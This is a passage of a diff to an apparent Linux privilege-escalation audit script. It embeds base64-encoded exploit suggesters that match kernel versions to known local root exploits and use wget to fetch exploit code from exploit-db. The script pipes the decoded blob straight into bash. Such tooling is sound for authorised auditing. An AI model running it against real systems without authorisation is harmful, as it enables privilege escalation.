cGtnX251bX0iKSBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIGtlcm5lbCB2ZXJzaW9uIG1hdGNoZWQgLSBib2xkIGhpZ2hsaWdodAogICAgICAgICAgICAgICAgICAgICAgICAgICAgVEFHPSIke3llbGxvd31bICR7VEFHfSBdJHt0eHRyc3R9IgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgYnVtcCBjdXJyZW50IGV4cGxvaXQncyByYW5rIGFkZGl0aW9uYWxseSBieSAzIGZvciBrZXJuZWwgdmVyc2lvbiByZWdleCBtYXRjaAogICAgICAgICAgICAgICAgICAgICAgICAgICAgUkFOSz0kKCgkUkFOSyArIDMpKQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gImZhbHNlIiBdICYmIFRBRz0iJHtsaWdodHllbGxvd31bICR0YWdfZGlzdHJvPSR0YWdfZGlzdHJvX251bSBdJHt0eHRyc3R9e2tlcm5lbDokdGFnX3BrZ19udW19IgogICAgICAgICAgICAgICAgICAgICAgICBmaQoKICAgICAgICAgICAgICAgICAgICAjIHBrZyB2ZXJzaW9uIHByb3ZpZGVkLCBjaGVjayBmb3IgbWF0Y2ggKFRCRCk6CiAgICAgICAgICAgICAgICAgICAgZWxpZiBbIC1uICIkdGFnX3BrZ19udW0iIC1hIC1uICIkdGFnX3BrZyIgIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgVEFHPSIke2xpZ2h0eWVsbG93fVsgJHRhZ19kaXN0cm89JHRhZ19kaXN0cm9fbnVtIF0ke3R4dHJzdH17JHRhZ19wa2c6JHRhZ19wa2dfbnVtfSIKICAgICAgICAgICAgICAgICAgICBmaQoKICAgICAgICAgICAgICAgIGZpCgogICAgICAgICAgICAgICAgIyBhcHBlbmQgY3VycmVudCB0YWcgdG8gdGFncyBsaXN0CiAgICAgICAgICAgICAgICB0YWdzPSIke3RhZ3N9JHtUQUd9LCIKICAgICAgICAgICAgZG9uZQogICAgICAgICAgICAjIHRyaW0gJywnIGFkZGVkIGJ5IGFib3ZlIGxvb3AKICAgICAgICAgICAgWyAtbiAiJHRhZ3MiIF0gJiYgdGFncz0iJHt0YWdzJT99IgogICAgICAgIGVsc2UKICAgICAgICAgICAgdGFncz0iJFRBR1MiCiAgICAgICAgZmkKCiAgICAgICAgIyBpbnNlcnQgdGhlIG1hdGNoZWQgZXhwbG9pdCAod2l0aCBjYWxjdWxhdGVkIFJhbmsgYW5kIGhpZ2hsaWdodGVkIHRhZ3MpIHRvIGFycmFyeSB0aGF0IHdpbGwgYmUgc29ydGVkCiAgICAgICAgRVhQPSQoZWNobyAiJEVYUCIgfCBzZWQgLWUgJy9eTmFtZTovZCcgLWUgJy9eUmVxczovZCcgLWUgJy9eVGFnczovZCcpCiAgICAgICAgZXhwbG9pdHNfdG9fc29ydFtqXT0iJHtSQU5LfU5hbWU6ICR7TkFNRX1EM0wxbVJlcXM6ICR7UkVRU31EM0wxbVRhZ3M6ICR7dGFnc31EM0wxbSQoZWNobyAiJEVYUCIgfCBzZWQgLWUgJzphJyAtZSAnTicgLWUgJyQhYmEnIC1lICdzL1xuL0QzTDFtL2cnKSIKICAgICAgICAoKGorKykpCiAgICBmaQpkb25lCgojIHNvcnQgZXhwbG9pdHMgYmFzZWQgb24gY2FsY3VsYXRlZCBSYW5rCklGUz0kJ1xuJwpTT1JURURfRVhQTE9JVFM9KCQoc29ydCAtciA8PDwiJHtleHBsb2l0c190b19zb3J0WypdfSIpKQp1bnNldCBJRlMKCiMgZGlzcGxheSBzb3J0ZWQgZXhwbG9pdHMKZm9yIEVYUF9URU1QIGluICIke1NPUlRFRF9FWFBMT0lUU1tAXX0iOyBkbwoKCVJBTks9JChlY2hvICIkRVhQX1RFTVAiIHwgYXdrIC1GJ05hbWU6JyAne3ByaW50ICQxfScpCgoJIyBjb252ZXJ0IGVudHJ5IGJhY2sgdG8gY2Fub25pY2FsIGZvcm0KCUVYUD0kKGVjaG8gIiRFWFBfVEVNUCIgfCBzZWQgJ3MvXlswLTldLy9nJyB8IHNlZCAncy9EM0wxbS9cbi9nJykKCgkjIGNyZWF0ZSBhcnJheSBmcm9tIGN1cnJlbnQgZXhwbG9pdCBoZXJlIGRvYyBhbmQgZmV0Y2ggbmVlZGVkIGxpbmVzCiAgICBpPTAKICAgICMgKCctcicgaXMgdXNlZCB0byBub3QgaW50ZXJwcmV0IGJhY2tzbGFzaCB1c2VkIGZvciBiYXNoIGNvbG9ycykKICAgIHdoaWxlIHJlYWQgLXIgbGluZQogICAgZG8KICAgICAgICBhcnJbaV09IiRsaW5lIgogICAgICAgIGk9JCgoaSArIDEpKQogICAgZG9uZSA8PDwgIiRFWFAiCgogICAgTkFNRT0iJHthcnJbMF19IiAmJiBOQU1FPSIke05BTUU6Nn0iCiAgICBSRVFTPSIke2FyclsxXX0iICYmIFJFUVM9IiR7UkVRUzo2fSIKICAgIFRBR1M9IiR7YXJyWzJdfSIgJiYgdGFncz0iJHtUQUdTOjZ9IgoKCUVYUExPSVRfREI9JChlY2hvICIkRVhQIiB8IGdyZXAgImV4cGxvaXQtZGI6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJYW5hbHlzaXNfdXJsPSQoZWNobyAiJEVYUCIgfCBncmVwICJhbmFseXNpcy11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJZXh0X3VybD0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiZXh0LXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCgljb21tZW50cz0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiQ29tbWVudHM6ICIgfCBjdXQgLWQnICcgLWYgMi0pCglyZXFzPSQoZWNobyAiJEVYUCIgfCBncmVwICJSZXFzOiAiIHwgY3V0IC1kJyAnIC1mIDIpCgoJIyBleHBsb2l0IG5hbWUgd2l0aG91dCBDVkUgbnVtYmVyIGFuZCB3aXRob3V0IGNvbW1vbmx5IHVzZWQgc3BlY2lhbCBjaGFycwoJbmFtZT0kKGVjaG8gIiROQU1FIiB8IGN1dCAtZCcgJyAtZiAyLSB8IHRyIC1kICcgKCkvJykKCgliaW5fdXJsPSQoZWNobyAiJEVYUCIgfCBncmVwICJiaW4tdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCXNyY191cmw9JChlY2hvICIkRVhQIiB8IGdyZXAgInNyYy11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJWyAteiAiJHNyY191cmwiIF0gJiYgWyAtbiAiJEVYUExPSVRfREIiIF0gJiYgc3JjX3VybD0iaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZG93bmxvYWQvJEVYUExPSVRfREIiCglbIC16ICIkc3JjX3VybCIgXSAmJiBbIC16ICIkYmluX3VybCIgXSAmJiBleGl0V2l0aEVyck1zZyAiJ3NyYy11cmwnIC8gJ2Jpbi11cmwnIC8gJ2V4cGxvaXQtZGInIGVudHJpZXMgYXJlIGFsbCBlbXB0eSBmb3IgJyROQU1FJyBleHBsb2l0IC0gZml4IHRoYXQuIEFib3J0aW5nLiIKCglpZiBbIC1uICIkYW5hbHlzaXNfdXJsIiBdOyB0aGVuCiAgICAgICAgZGV0YWlscz0iJGFuYWx5c2lzX3VybCIKCWVsaWYgJChlY2hvICIkc3JjX3VybCIgfCBncmVwIC1xICd3d3cuZXhwbG9pdC1kYi5jb20nKTsgdGhlbgogICAgICAgIGRldGFpbHM9Imh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLyRFWFBMT0lUX0RCLyIKCWVsaWYgW1sgIiRzcmNfdXJsIiA9fiBeLip0Z3p8dGFyLmd6fHppcCQgJiYgLW4gIiRFWFBMT0lUX0RCIiBdXTsgdGhlbgogICAgICAgIGRldGFpbHM9Imh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLyRFWFBMT0lUX0RCLyIKCWVsc2UKICAgICAgICBkZXRhaWxzPSIkc3JjX3VybCIKCWZpCgoJIyBza2lwIERvUyBieSBkZWZhdWx0Cglkb3M9JChlY2hvICIkRVhQIiB8IGdyZXAgLW8gLWkgIihkb3MiKQoJWyAiJG9wdF9zaG93X2RvcyIgPT0gImZhbHNlIiBdICYmIFsgLW4gIiRkb3MiIF0gJiYgY29udGludWUKCgkjIGhhbmRsZXMgLS1mZXRjaC1iaW5hcmllcyBvcHRpb24KCWlmIFsgJG9wdF9mZXRjaF9iaW5zID0gInRydWUiIF07IHRoZW4KICAgICAgICBmb3IgaSBpbiAkKGVjaG8gIiRFWFAiIHwgZ3JlcCAiYmluLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpOyBkbwogICAgICAgICAgICBbIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJGkpIiBdICYmIHJtIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJGkpIgogICAgICAgICAgICB3Z2V0IC1xIC1rICIkaSIgLU8gIiR7bmFtZX1fJChiYXNlbmFtZSAkaSkiCiAgICAgICAgZG9uZQogICAgZmkKCgkjIGhhbmRsZXMgLS1mZXRjaC1zb3VyY2VzIG9wdGlvbgoJaWYgWyAkb3B0X2ZldGNoX3NyY3MgPSAidHJ1ZSIgXTsgdGhlbgogICAgICAgIFsgLWYgIiR7bmFtZX1fJChiYXNlbmFtZSAkc3JjX3VybCkiIF0gJiYgcm0gLWYgIiR7bmFtZX1fJChiYXNlbmFtZSAkc3JjX3VybCkiCiAgICAgICAgd2dldCAtcSAtayAiJHNyY191cmwiIC1PICIke25hbWV9XyQoYmFzZW5hbWUgJHNyY191cmwpIiAmCiAgICBmaQoKICAgICMgZGlzcGxheSByZXN1bHQgKHNob3J0KQoJaWYgWyAiJG9wdF9zdW1tYXJ5IiA9ICJ0cnVlIiBdOyB0aGVuCglbIC16ICIkdGFncyIgXSAmJiB0YWdzPSItIgoJZWNobyAtZSAiJE5BTUUgfHwgJHRhZ3MgfHwgJHNyY191cmwiCgljb250aW51ZQoJZmkKCiMgZGlzcGxheSByZXN1bHQgKHN0YW5kYXJkKQoJZWNobyAtZSAiWytdICROQU1FIgoJZWNobyAtZSAiXG4gICBEZXRhaWxzOiAkZGV0YWlscyIKICAgICAgICBlY2hvIC1lICIgICBFeHBvc3VyZTogJChkaXNwbGF5RXhwb3N1cmUgJFJBTkspIgogICAgICAgIFsgLW4gIiR0YWdzIiBdICYmIGVjaG8gLWUgIiAgIFRhZ3M6ICR0YWdzIgogICAgICAgIGVjaG8gLWUgIiAgIERvd25sb2FkIFVSTDogJHNyY191cmwiCiAgICAgICAgWyAtbiAiJGV4dF91cmwiIF0gJiYgZWNobyAtZSAiICAgZXh0LXVybDogJGV4dF91cmwiCiAgICAgICAgWyAtbiAiJGNvbW1lbnRzIiBdICYmIGVjaG8gLWUgIiAgIENvbW1lbnRzOiAkY29tbWVudHMiCgogICAgICAgICMgaGFuZGxlcyAtLWZ1bGwgZmlsdGVyIG9wdGlvbgogICAgICAgIGlmIFsgIiRvcHRfZnVsbCIgPSAidHJ1ZSIgXTsgdGhlbgogICAgICAgICAgICBbIC1uICIkcmVxcyIgXSAmJiBlY2hvIC1lICIgICBSZXF1aXJlbWVudHM6ICRyZXFzIgoKICAgICAgICAgICAgWyAtbiAiJEVYUExPSVRfREIiIF0gJiYgZWNobyAtZSAiICAgZXhwbG9pdC1kYjogJEVYUExPSVRfREIiCgogICAgICAgICAgICBhdXRob3I9JChlY2hvICIkRVhQIiB8IGdyZXAgImF1dGhvcjogIiB8IGN1dCAtZCcgJyAtZiAyLSkKICAgICAgICAgICAgWyAtbiAiJGF1dGhvciIgXSAmJiBlY2hvIC1lICIgICBhdXRob3I6ICRhdXRob3IiCiAgICAgICAgZmkKCiAgICAgICAgZWNobwoKZG9uZQo=" + echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g" echo "" fi @@ -1303,7 +1472,7 @@ if [ "$(command -v perl 2>/dev/null)" ]; then print_2title "Executing Linux Exploit Suggester 2" print_info "https://github.com/jondonas/linux-exploit-suggester-2" les2_b64="IyEvdXNyL2Jpbi9wZXJsCnVzZSBzdHJpY3Q7CnVzZSB3YXJuaW5nczsKdXNlIEdldG9wdDo6U3RkOwoKb3VyICRWRVJTSU9OID0gJzInOwoKbXkgJW9wdHM7CmdldG9wdHMoICdrOmhkJywgXCVvcHRzICk7CmlmIChleGlzdHMgJG9wdHN7aH0pIHsKICAgIHVzYWdlKCk7CiAgICBleGl0Owp9OwoKcHJpbnRfYmFubmVyKCk7Cm15ICggJGtob3N0LCAkaXNfcGFydGlhbCApID0gZ2V0X2tlcm5lbCgpOwpwcmludCAiICBMb2NhbCBLZXJuZWw6IFxlWzAwOzMzbSRraG9zdFxlWzAwbVxuIjsKCm15ICVleHBsb2l0cyA9IGdldF9leHBsb2l0cygpOwpwcmludCAnICBTZWFyY2hpbmcgJyAuIHNjYWxhciBrZXlzKCVleHBsb2l0cykgLiAiIGV4cGxvaXRzLi4uXG5cbiI7CnByaW50ICIgIFxlWzE7MzVtUG9zc2libGUgRXhwbG9pdHNcZVswMG1cbiI7CgpteSAkY291bnQgPSAxOwpteSBAYXBwbGljYWJsZSA9ICgpOwpFWFBMT0lUOgpmb3JlYWNoIG15ICRrZXkgKCBzb3J0IGtleXMgJWV4cGxvaXRzICkgewogICAgZm9yZWFjaCBteSAka2VybmVsICggQHsgJGV4cGxvaXRzeyRrZXl9e3Z1bG59IH0gKSB7CgogICAgICAgIGlmICggICAgICRraG9zdCBlcSAka2VybmVsCiAgICAgICAgICAgICAgb3IgKCAkaXNfcGFydGlhbCBhbmQgaW5kZXgoJGtlcm5lbCwka2hvc3QpID09IDAgKQogICAgICAgICkgewogICAgICAgICAgICAkZXhwbG9pdHN7JGtleX17a2V5fSA9ICRrZXk7CiAgICAgICAgICAgIHB1c2goQGFwcGxpY2FibGUsICRleHBsb2l0c3ska2V5fSk7CiAgICAgICAgICAgIHByaW50ICIgIFxlWzAwOzMzbVtcZVswMG1cZVswMDszMW0kY291bnRcZVswMG1cZVswMDszM21dXGVbMDBtICI7CiAgICAgICAgICAgIHByaW50ICJcZVswMDszM20ka2V5XGVbMDBtIjsKICAgICAgICAgICAgcHJpbnQgIiBcZVswMDszM20oJGtlcm5lbClcZVswMG0iIGlmICRpc19wYXJ0aWFsOwoKICAgICAgICAgICAgbXkgJGFsdCA9ICRleHBsb2l0c3ska2V5fXthbHR9OwogICAgICAgICAgICBteSAkY3ZlID0gJGV4cGxvaXRzeyRrZXl9e2N2ZX07CiAgICAgICAgICAgIG15ICRtbHcgPSAkZXhwbG9pdHN7JGtleX17bWlsfTsKICAgICAgICAgICAgaWYgKCAkYWx0IG9yICRjdmUgKSB7CiAgICAgICAgICAgICAgICBwcmludCAiXG4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICggJGFsdCApIHsgcHJpbnQgIiAgICAgIEFsdDogJGFsdCAiOyB9CiAgICAgICAgICAgIGlmICggJGN2ZSApIHsgcHJpbnQgIiAgICAgIENWRS0kY3ZlIjsgfQogICAgICAgICAgICBpZiAoICRtbHcgKSB7IHByaW50ICJcbiAgICAgIFNvdXJjZTogJG1sdyI7IH0KICAgICAgICAgICAgcHJpbnQgIlxuIjsKICAgICAgICAgICAgJGNvdW50ICs9IDE7CiAgICAgICAgICAgIG5leHQgRVhQTE9JVDsKICAgICAgICB9CiAgICB9Cn0KcHJpbnQgIlxuIjsKCmlmICghQGFwcGxpY2FibGUpIHsKICAgIHByaW50ICIgIE5vIGV4cGxvaXRzIGFyZSBhdmFpbGFibGUgZm9yIHRoaXMga2VybmVsIHZlcnNpb25cblxuIjsKICAgIGV4aXQ7Cn0KCmlmIChleGlzdHMgJG9wdHN7ZH0pIHsKICAgIHByaW50ICIgIFxlWzE7MzZtRXhwbG9pdCBEb3dubG9hZFxlWzAwbVxuIjsKICAgIHByaW50ICIgIChEb3dubG9hZCBhbGw6IFxlWzAwOzMzbSdhJ1xlWzAwbSAvIEluZGl2aWR1YWxseTogXGVbMDA7MzNtJzIsNCw1J1xlWzAwbSAiOwogICAgcHJpbnQgIi8gRXhpdDogXGVbMDA7MzNtXmNcZVswMG0pXG4iOwogICAgcHJpbnQgIiAgU2VsZWN0IGV4cGxvaXRzIHRvIGRvd25sb2FkOiAiOwoKICAgIHdoaWxlICgxKSB7CiAgICAgICAgbXkgJGlucHV0ID0gPFNURElOPjsKICAgICAgICAkaW5wdXQgPX4gcy9ccysvL2c7CgogICAgICAgIGlmICgkaW5wdXQgPX4gL15hJC8pIHsKICAgICAgICAgICAgbXkgQHNlbGVjdGVkID0gKCk7CiAgICAgICAgICAgIGZvciAobXkgJGk9MTsgJGkgPD0gc2NhbGFyIEBhcHBsaWNhYmxlOyAkaSsrKSB7CiAgICAgICAgICAgICAgIHB1c2goQHNlbGVjdGVkLCAkaSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZG93bmxvYWRfZXhwbG9pdHMoXEBzZWxlY3RlZCwgXEBhcHBsaWNhYmxlKTsKICAgICAgICAgICAgbGFzdDsKICAgICAgICB9CiAgICAgICAgZWxzaWYgKCRpbnB1dCA9fiAvXigwfFsxLTldWzAtOV0qKSgsKDB8WzEtOV1bMC05XSopKSokLykgewogICAgICAgICAgICBteSBAc2VsZWN0ZWQgPSB1bmlxKHNwbGl0KCcsJywgJGlucHV0KSk7CiAgICAgICAgICAgIEBzZWxlY3RlZCA9IHNvcnQgeyRhIDw9PiAkYn0gQHNlbGVjdGVkOwogICAgICAgICAgICBpZiAoJHNlbGVjdGVkWzBdID4gMCAmJiAkc2VsZWN0ZWRbLTFdIDw9IHNjYWxhciBAYXBwbGljYWJsZSkgewogICAgICAgICAgICAgICAgZG93bmxvYWRfZXhwbG9pdHMoXEBzZWxlY3RlZCwgXEBhcHBsaWNhYmxlKTsKICAgICAgICAgICAgICAgIGxhc3Q7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgIHByaW50ICIgIFxlWzAwOzMxbUlucHV0IGlzIG91dCBvZiByYW5nZS5cZVswMG0gU2VsZWN0IGV4cGxvaXRzIHRvIGRvd25sb2FkOiAiOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICBwcmludCAiICBcZVswMDszMW1JbnZhbGlkIGlucHV0LlxlWzAwbSBTZWxlY3QgZXhwbG9pdHMgdG8gZG93bmxvYWQ6ICI7CiAgICAgICAgfQogICAgfQp9OwpleGl0OwoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyBleHRyYSBmdW5jdGlvbnMgICMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCnN1YiBnZXRfa2VybmVsIHsKICAgIG15ICRraG9zdCA9ICcnOwoKICAgIGlmICggZXhpc3RzICRvcHRze2t9ICkgewogICAgICAgICRraG9zdCA9ICRvcHRze2t9OwogICAgfQogICAgZWxzZSB7CiAgICAgICAgJGtob3N0ID0gYHVuYW1lIC1yIHxjdXQgLWQiLSIgLWYxYDsKICAgICAgICBjaG9tcCAka2hvc3Q7CiAgICB9CgogICAgaWYgKCFkZWZpbmVkICRraG9zdCB8fCAhKCRraG9zdCA9fiAvXlswLTldKyhbLl1bMC05XSspKiQvKSkgewogICAgICAgIHByaW50ICIgIFxlWzAwOzMxbVNwZWNpZmllZCBrZXJuZWwgaXMgaW4gdGhlIHdyb25nIGZvcm1hdFxlWzAwbVxuIjsKICAgICAgICBwcmludCAiICBUcnkgYSBrZXJuZWwgZm9ybWF0IGxpa2UgdGhpczogMy4yLjBcblxuIjsKICAgICAgICBleGl0OwogICAgfQoKICAgICMgcGFydGlhbCBrZXJuZWxzIG1pZ2h0IGJlIHByb3ZpZGVkIGJ5IHRoZSB1c2VyLAogICAgIyBzdWNoIGFzICcyLjQnIG9yICcyLjYuJwogICAgbXkgJGlzX3BhcnRpYWwgPSAka2hvc3QgPX4gL15cZCtcLlxkK1wuXGQ/LyA/IDAgOiAxOwogICAgcmV0dXJuICggJGtob3N0LCAkaXNfcGFydGlhbCApOwp9CgpzdWIgZG93bmxvYWRfZXhwbG9pdHMgewogICAgbXkgKCRzcmVmLCAkYXJlZikgPSBAXzsKICAgIG15IEBzZWxlY3RlZCA9IEB7ICRzcmVmIH07CiAgICBteSBAYXBwbGljYWJsZSA9IEB7ICRhcmVmIH07CiAgICBteSAkZXhwbG9pdF9iYXNlID0gInd3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cyI7CiAgICBteSAkZG93bmxvYWRfYmFzZSA9ICJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9yYXcvIjsKICAgIHByaW50ICJcbiI7CgogICAgZm9yZWFjaCBteSAkbnVtIChAc2VsZWN0ZWQpIHsKICAgICAgICBteSAkbWlsID0gJGFwcGxpY2FibGVbJG51bS0xXXttaWx9OwogICAgICAgIG5leHQgaWYgKCFkZWZpbmVkICRtaWwpOwogICAgICAgIG15ICgkZXhwbG9pdF9udW0pID0gKCRtaWwgPX4gL14uKlwvKFsxLTldWzAtOV0qKVwvPyQvKTsKICAgICAgICAKICAgICAgICBpZiAoJGV4cGxvaXRfbnVtICYmIGluZGV4KCRtaWwsICRleHBsb2l0X2Jhc2UpICE9IC0xKSB7CiAgICAgICAgICAgIG15ICR1cmwgPSAkZG93bmxvYWRfYmFzZSAuICRleHBsb2l0X251bTsKICAgICAgICAgICAgbXkgJGZpbGUgPSAiZXhwbG9pdF8kYXBwbGljYWJsZVskbnVtLTFde2tleX0iOwogICAgICAgICAgICBwcmludCAiICBEb3dubG9hZGluZyBcZVswMDszM20kdXJsXGVbMDBtIC0+IFxlWzAwOzMzbSRmaWxlXGVbMDBtXG4iOwogICAgICAgICAgICBzeXN0ZW0gIndnZXQgJHVybCAtTyAkZmlsZSA+IC9kZXYvbnVsbCAyPiYxIjsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIHByaW50ICIgIE5vIGV4cGxvaXQgY29kZSBhdmFpbGFibGUgZm9yIFxlWzAwOzMzbSRhcHBsaWNhYmxlWyRudW0tMV17a2V5fVxlWzAwbVxuIjsgCiAgICAgICAgfQogICAgfQogICAgcHJpbnQgIlxuIjsKfQoKc3ViIHVuaXEgewogICAgbXkgJXNlZW47CiAgICBncmVwICEkc2VlbnskX30rKywgQF87Cn0KCnN1YiB1c2FnZSB7CnByaW50X2Jhbm5lcigpOwpwcmludCAiICBcZVswMDszNW1Vc2FnZTpcZVswMG0gJDAgWy1oXSBbLWsga2VybmVsXSBbLWRdXG5cbiI7CnByaW50ICIgIFxlWzAwOzMzbVtcZVswMG1cZVswMDszMW0taFxlWzAwbVxlWzAwOzMzbV1cZVswMG0gSGVscCAodGhpcyBtZXNzYWdlKVxuIjsKcHJpbnQgIiAgXGVbMDA7MzNtW1xlWzAwbVxlWzAwOzMxbS1rXGVbMDBtXGVbMDA7MzNtXVxlWzAwbSBLZXJuZWwgbnVtYmVyIChlZy4gMi42LjI4KVxuIjsKcHJpbnQgIiAgXGVbMDA7MzNtW1xlWzAwbVxlWzAwOzMxbS1kXGVbMDBtXGVbMDA7MzNtXVxlWzAwbSBPcGVuIGV4cGxvaXQgZG93bmxvYWQgbWVudVxuXG4iOwoKcHJpbnQgIiAgWW91IGNhbiBhbHNvIHByb3ZpZGUgYSBwYXJ0aWFsIGtlcm5lbCB2ZXJzaW9uIChlZy4gMi40KVxuIjsKcHJpbnQgIiAgdG8gc2VlIGFsbCBleHBsb2l0cyBhdmFpbGFibGUuXG5cbiI7Cn0KCnN1YiBwcmludF9iYW5uZXIgewpwcmludCAiXG5cZVswMDszM20gICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtXG4iOwpwcmludCAiXGVbMTszMW0gICAgTGludXggRXhwbG9pdCBTdWdnZXN0ZXIgJFZFUlNJT05cZVswMG1cbiI7CnByaW50ICJcZVswMDszM20gICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtXG5cbiI7Cn0KCnN1YiBnZXRfZXhwbG9pdHMgewogIHJldHVybiAoCiAgICAndzAwdCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi40LjEwJywgJzIuNC4xNicsICcyLjQuMTcnLCAnMi40LjE4JywKICAgICAgICAgICAgJzIuNC4xOScsICcyLjQuMjAnLCAnMi40LjIxJywKICAgICAgICBdCiAgICB9LAogICAgJ2JyaycgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi40LjEwJywgJzIuNC4xOCcsICcyLjQuMTknLCAnMi40LjIwJywgJzIuNC4yMScsICcyLjQuMjInIF0sCiAgICB9LAogICAgJ2F2ZScgPT4geyB2dWxuID0+IFsgJzIuNC4xOScsICcyLjQuMjAnIF0gfSwKCiAgICAnZWxmbGJsJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbJzIuNC4yOSddLAogICAgICAgIG1pbCAgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNzQ0JywKICAgIH0sCgogICAgJ2VsZmR1bXAnICAgICAgPT4geyB2dWxuID0+IFsnMi40LjI3J10gfSwKICAgICdlbGZjZCcgICAgICAgID0+IHsgdnVsbiA9PiBbJzIuNi4xMiddIH0sCiAgICAnZXhwYW5kX3N0YWNrJyA9PiB7IHZ1bG4gPT4gWycyLjQuMjknXSB9LAoKICAgICdoMDBseXNoaXQnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi44JywgICcyLjYuMTAnLCAnMi42LjExJywgJzIuNi4xMicsCiAgICAgICAgICAgICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLAogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDA2LTM2MjYnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDEzJywKICAgIH0sCgogICAgJ2tkdW1wJyA9PiB7IHZ1bG4gPT4gWycyLjYuMTMnXSB9LAogICAgJ2ttMicgICA9PiB7IHZ1bG4gPT4gWyAnMi40LjE4JywgJzIuNC4yMicgXSB9LAogICAgJ2tyYWQnID0+CiAgICAgIHsgdnVsbiA9PiBbICcyLjYuNScsICcyLjYuNycsICcyLjYuOCcsICcyLjYuOScsICcyLjYuMTAnLCAnMi42LjExJyBdIH0sCgogICAgJ2tyYWQzJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuNScsICcyLjYuNycsICcyLjYuOCcsICcyLjYuOScsICcyLjYuMTAnLCAnMi42LjExJyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL2V4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzEzOTcnLAogICAgfSwKCiAgICAnbG9jYWwyNicgPT4geyB2dWxuID0+IFsnMi42LjEzJ10gfSwKICAgICdsb2tvJyAgICA9PiB7IHZ1bG4gPT4gWyAnMi40LjIyJywgJzIuNC4yMycsICcyLjQuMjQnIF0gfSwKCiAgICAnbXJlbWFwX3B0ZScgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi40LjIwJywgJzIuMi4yNCcsICcyLjQuMjUnLCAnMi40LjI2JywgJzIuNC4yNycgXSwKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTYwJywKICAgIH0sCgogICAgJ25ld2xvY2FsJyA9PiB7IHZ1bG4gPT4gWyAnMi40LjE3JywgJzIuNC4xOScgXSB9LAogICAgJ29uZ19iYWsnICA9PiB7IHZ1bG4gPT4gWycyLjYuNSddIH0sCiAgICAncHRyYWNlJyA9PgogICAgICB7IHZ1bG4gPT4gWyAnMi40LjE4JywgJzIuNC4xOScsICcyLjQuMjAnLCAnMi40LjIxJywgJzIuNC4yMicgXSB9LAogICAgJ3B0cmFjZV9rbW9kJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjQuMTgnLCAnMi40LjE5JywgJzIuNC4yMCcsICcyLjQuMjEnLCAnMi40LjIyJyBdLAogICAgICAgIGN2ZSAgPT4gJzIwMDctNDU3MycsCiAgICB9LAogICAgJ3B0cmFjZV9rbW9kMicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywgJzIuNi4zMCcsICcyLjYuMzEnLAogICAgICAgICAgICAnMi42LjMyJywgJzIuNi4zMycsICcyLjYuMzQnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICdpYTMyc3lzY2FsbCxyb2JlcnRfeW91X3N1Y2snLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNTAyMycsCiAgICAgICAgY3ZlID0+ICcyMDEwLTMzMDEnLAogICAgfSwKICAgICdwdHJhY2UyNCcgPT4geyB2dWxuID0+IFsnMi40LjknXSB9LAogICAgJ3B3bmVkJyAgICA9PiB7IHZ1bG4gPT4gWycyLjYuMTEnXSB9LAogICAgJ3B5MicgICAgICA9PiB7IHZ1bG4gPT4gWyAnMi42LjknLCAnMi42LjE3JywgJzIuNi4xNScsICcyLjYuMTMnIF0gfSwKICAgICdyYXB0b3JfcHJjdGwnID0+IHsKICAgI